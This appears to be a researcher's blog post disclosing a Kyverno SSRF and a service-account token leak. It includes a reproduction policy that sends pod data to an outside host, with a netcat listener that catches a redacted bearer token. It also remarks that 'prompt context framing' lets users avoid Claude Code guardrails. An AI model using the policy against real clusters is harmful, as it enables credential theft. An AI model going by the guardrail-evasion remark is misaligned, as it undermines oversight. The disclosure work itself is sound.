Kyverno SSRF & Service Account Token Leak

Posted on 21 August 2026

Introduction

Kyverno is a Kubernetes native policy engine for validating and securing Kubernetes resources. It acts as an admission controller which can be configured to enforce specific policies e.g. “do not allow containers to run as root”, or “allow a maximum of 1G of RAM for containers”.

The Kyverno team recently added a feature called “External API Call” which allows policies to call out to external HTTP endpoints to use addition data as part of the policy decision for example; checking a security scan from a third party tool before allowing a pod to be created. This blog post covers the threat modelling research into this Kyverno as a whole and how the process discovered two CVEs along the way.

Background

One of the perks of working at ControlPlane is getting dedicated R&D time to dig deeper into technology areas which we find interesting. At this point in time the Kyverno Threat Model project was in the initial stages, and I was analysing the different components of the system to understand how they interact. I specifically noted that the caching and policy engines had features where they could call out to external resources. I knew from my experience at Ava Security, during which I worked as a PSIRT engineer, that SSRF server-side request forgery attacks can wreak havoc on these types of systems.

The idea was noted within the threat model. However, I wanted to dig deeper and understand if this could be actively exploited, so I booked a few R&D days in our HR tool of dedicated focus time to do some research.

AI Assistance

What made this research time more interesting was it was my first experience of “AI Assisted” security research. I didn’t want to build a research tool loop and set the AI off todo the research. For me, I was more interested in the copy.fail Security researcher augmentation approach where a LLM is used to help the Security Engineer through the research process.

I used Google’s Gemini AI model purely because its part of the work Google Workspace subscription, runs in the browser and is easy to use. I will say that the “Safeguards” implemented in Gemini seem to change wildly week to week. At the time I did this research (13–15th April 2026), Gemini had no issues helping me; now it seems to bail out much sooner.

My process was fairly simple, I had three different Gemini windows open asking the LLM various questions about how components of Kyverno were implemented and getting it to reach out and look through parts of the source code for me. There were many instances where I would go back to reading the documentation and the source code manually to gain a deeper understanding as the LLM tends to summaries everything too much. You can gleam more detail from “reading between the lines” of the docs and code yourself, then you can when its through the lens of what the LLM thinks you should know / how answer your question.

I have provided some examples of the conversation below. However, Google is clearly going back through these are redacting them as some of my chats have been removed or uploaded files / snippets generated deleted. So take the below with a pinch of salt.

Kyverno ResearchKyverno ResearchKyverno ResearchKyverno ResearchKyverno ResearchKyverno Research
Safeguards side rant

<rant> I personally think the idea of LLM safe guards are a contentions one, we can’t write a “great” machine learning model which can classify if a program is safe to run / “not malware” so why do we think we would be able todo better in the modern AI sense with human language when the machine an never know the full context. Plus in many cases as we have seen the with the Hugging Face breach even “the good guys” have to use different models because the safeguard prevent them from being able to defend against a AI enable attack. I’m more of the opinion that these models should be treated as tools; which can be used for good or evil. </rant>

Findings

From a day’s worth of chatting with the LLM, breaking open the source code, some practical exploration with curl and kind, plus reading through the documentation, I had come to a few realisations:

POC

The data exfiltration piece I was especially interested in, and within a few hours I was able to quickly “vibe-code” a CLI tool to automate the process of:

I will not be releasing the code for the POC, but I did want to highlight how with LLM assistance these tools can be really quickly bashed together. Plus, with right prompt context framing it is straightforward to not bump up against the Claude Code guardrails.

https://zerodayclock.com/ foreshadowing…

Responsible Disclosure

At this point I had enough to report directly to the Kyverno team, which I was luckily already in contact with as part of the threat modelling work. Below is the report I submitted to the team about the Authorization header issue. The SSRF issue was already is discussion as part of the threat modelling work.

Security Report

Title: Kyverno External API Call Service Account Token

Description:

When a Kyverno policy is configured to perform an external API Call as part of a policy decision, by default, it sends the Kyverno K8s service account token (which can be highly privileged) as part of the Authorization header in the HTTP Request.

Steps to Re-Create Issue:

kind create cluster -n kyverno-research

helm install kyverno kyverno/kyverno -n kyverno --create-namespace

kubectl apply -f kyverno-api-call-test.yaml

Show YAML
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: kyverno-api-call-test
spec:
  admission: true
  background: false
  emitWarning: false
  rules:
  - context:
    - apiCall:
        data:
        - key: data
          value: '{{ request.object.metadata.annotations.data }}'
        method: POST
        service:
          headers:
          - key: Authorization
            value: ""
          url: http://tomcope.com:25565
      name: externalapicall
    match:
      any:
      - resources:
          kinds:
          - Pod
          names:
          - kyverno-api-test
    name: kyverno-api-call-test
    skipBackgroundRequests: true
    validate:
      allowExistingViolations: true
      deny:
        conditions:
          any:
          - key: "true"
            operator: Equals
            value: "true"
      message: '{{ externalapicall }}'
  validationFailureAction: Enforce

nc -vkl 25565

kubectl apply -f trigger_pod.yaml --dry-run=server

Show YAML
apiVersion: v1
kind: Pod
metadata:
  name: kyverno-api-test
  labels:
    app: http-echo
  annotations:
    data: "test"
spec:
  containers:
  - name: http-echo
    image: hashicorp/http-echo:latest
    args:
    - "-text=hello from kyverno-api-test"

Notice how the received HTTP request contains a valid JWT for the Kyverno service account in the Authorization header.

# nc -vkl 25565
Listening on 0.0.0.0 25565
Connection received on <redacted>
POST / HTTP/1.1
Host: tomcope.com:25565
User-Agent: Go-http-client/1.1
Content-Length: 16
Authorization: Bearer <redacted>
Accept-Encoding: gzip

{"data":"test"}

Affected Versions:

Mitigations:

I would suggest a code change in pkg/engine/apicall/executor.go removing the default token addition logic.

      if req.Header.Get("Authorization") == "" {
                if token, ok := readScopedToken(); ok && token != "" {
                        req.Header.Add("Authorization", "Bearer "+token)
                }
        }

I tried configuring the API Call with a custom header of “Authorization” set to an empty string; however, Kyverno still sends its own token along with the Service Account token.

If you need further debugging steps, more than happy to help to send more details.

Thank you for taking the time to read my report!

Response

What followed was a back-and-forth conversation between the Kyverno team and myself about how this style of vulnerability and related SSRF issue had already been reported and fixed. However, since the original ControlPlane threat modelling work predated these vulnerability reports, the Kyverno team agreed to give Me & ControlPlane CVE credit for two of the findings.

The Fix

Associated GitHub Advisories

You can find a full breakdown of the findings below:

Associated CVEs

Site Build:
2026-08-24:14:16:27.493
Loading page hits...
🐾 Copyright (C) Tom Cope 2020 - 2026 | All Rights Reserved 🏳️‍🌈
GDPR Notice - This Website does not use cookies.